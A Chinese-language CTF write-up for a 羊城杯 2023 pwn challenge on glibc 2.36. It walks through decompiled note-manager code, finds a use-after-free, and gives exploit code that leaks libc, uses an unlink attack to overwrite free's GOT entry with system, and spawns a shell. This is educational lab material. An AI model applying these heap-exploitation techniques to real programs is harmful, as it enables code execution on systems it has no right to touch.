[羊城杯 2023 决赛]Printf but not fmtstr

题目glibc2.36 高版本带safe-linking 推断要泄露heap_base

[*] '/home/rick/Downloads/attachment/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)

64位 部分aslr 没有pie

FILE *sub_40127C()
{
  FILE *result; // rax

  if ( *(FILE **)off_404070 != stderr
    || *(FILE **)off_404078 != stdout
    || (result = stdin, *(FILE **)off_404080 != stdin) )
  {
    write(2, "No! you can't do this!", 0x17uLL);
    _exit(0);
  }
  return result;

有一个验证函数 检测是否修改了

0x404070 -> stderr

0x404078 -> stdout

0x404080 -> stdin

这三个地址存放的这三个流的地址

unsigned __int64 __fastcall add_notes(const char *a1)
{
  unsigned int v1; // ebx
  unsigned int v3; // [rsp+0h] [rbp-20h] BYREF
  _DWORD size[5]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v3);
  if ( v3 <= 0xF )                              // 最大只能存16个chunk
  {
    printf("Size: ");
    __isoc99_scanf("%u", size);
    if ( size[0] <= 0x900u )
    {
      // 0x4FF<size<=0x900
      if ( size[0] > 0x4FFu )
      {
        v1 = v3;
        qword_4040E0[v1] = malloc(size[0]);
        dword_404160[v3] = size[0];
      }
      else
      {
        puts("Too small.");
      }
    }
    else
    {
      puts("Too big.");
    }
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return *(_QWORD *)&size[1] - __readfsqword(0x28u);
}

只能存16个chunk

最大0x900 最小0x4FF

0x4040e0存的chunk地址

0x404160存的chunk的size

unsigned __int64 __fastcall delete_notes(const char *a1)
{
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 <= 0xF )
  {
    if ( qword_4040E0[v2] )
      free((void *)qword_4040E0[v2]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return v3 - __readfsqword(0x28u);
}

UAF 没有给指针置0

unsigned __int64 __fastcall edit_notes(const char *a1)
{
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 <= 0xF )
  {
    if ( qword_4040E0[v2] )
    {
      printf("Content: ");
      read(0, (void *)qword_4040E0[v2], (unsigned int)dword_404160[v2]);
    }
    else
    {
      puts("Page not found.");
    }
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return v3 - __readfsqword(0x28u);
}

用的是0x404160的size来填 如果改了这个size是不是可以溢出

unsigned __int64 show_notes()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 <= 0xF )
  {
    if ( qword_4040E0[v1] )
      printf("Content: %s\n", (const char *)qword_4040E0[v1]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return v2 - __readfsqword(0x28u);
}

正常的show函数

因为最小的chunk都大于0x410了 所以tcache肯定进不去了

safe-linking只在tache

接收:u64(p.recv(5).ljust(8,b’\x00’)) << 12
而修改heap的fd指针:(heap_addr >> 12)^target_addr

new(0,0x500)
new(1,0x500)
new(2,0x500)
new(3,0x500)

delete(0)##隔着放 要不然容易触发合并
delete(2)

show(0)
ru(b"Content: ")
leak_main_arena = u64(io.recv(6).ljust(8,b'\x00'))
ls("get_decrypted_main_arena=>"+hex(leak_main_arena))
libc_base = leak_main_arena -libc.sym["_IO_2_1_stdin_"] - 0x200 -64
ls("get libc_base=>"+hex(libc_base))
'''
pwndbg> x/40gx 0x718b2d7f6cc0 -0x200
0x718b2d7f6ac0 <_IO_2_1_stdin_+64>:	0x0000718b2d7f6b04	0x0000000000000000

'''

随便找的偏移 拿到libc_base

[+] get_main_arena=>0x774ab4ff6cc0
[+] get libc_base=>0x774ab4e00000

构造假chunk打unlink

delete(3)#触发合并 
new(5,0x600)#recovery idx 0 
new(6,0x610)#cut chunk set idx 4 prev_size == 0x600
save_heap_addr = 0x4040e0
has_bk = save_heap_addr
has_fd = save_heap_addr +0x8
payload = p64(0)+p64(0x601)+p64(has_bk)+p64(has_fd)
edit(3,payload)#现在可以发现块有了PREV_INUSE + FD BK改变 + next_chunk的prev_size 符合我们构造的fake_chunk
delete(4)
ogg = libc_base +0x4e1c9
edit(3,p64(e.got["free"]))
edit(0,p64(libc_base+libc.sym["system"]))
edit(2,b'/bin/sh\x00')
delete(2)
#sla(b">",str(1))

#attach(io)

打完后才发现有后门,,